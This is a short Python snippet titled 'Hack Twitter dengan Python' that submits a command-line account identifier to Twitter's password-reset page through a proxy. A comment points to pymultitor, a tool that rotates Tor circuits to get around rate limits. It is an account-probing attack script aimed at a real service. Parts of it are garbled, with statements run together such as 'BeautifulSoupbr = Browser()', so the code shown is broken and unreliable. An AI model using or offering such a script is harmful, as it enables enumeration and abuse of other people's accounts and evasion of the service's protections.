Hack Twitter dengan Python

import sys
import re
from mechanize import Browser
from bs4 import BeautifulSoupbr = Browser()
#https://github.com/realgam3/pymultitor
#pymultitor --on-string "Please try again later."
br.set_proxies({"http": "127.0.0.1:8080"})
br.open("https://twitter.com/account/begin_password_reset")
br.select_form(nr=0)
br.form["account_identifier"] = sys.argv[1]
response = br.submit()  # submit current formsoup = BeautifulSoup(response.read(), "lxml")
for element in soup.find_all(class_='PageHeader'):
     print(element.text)
Giddy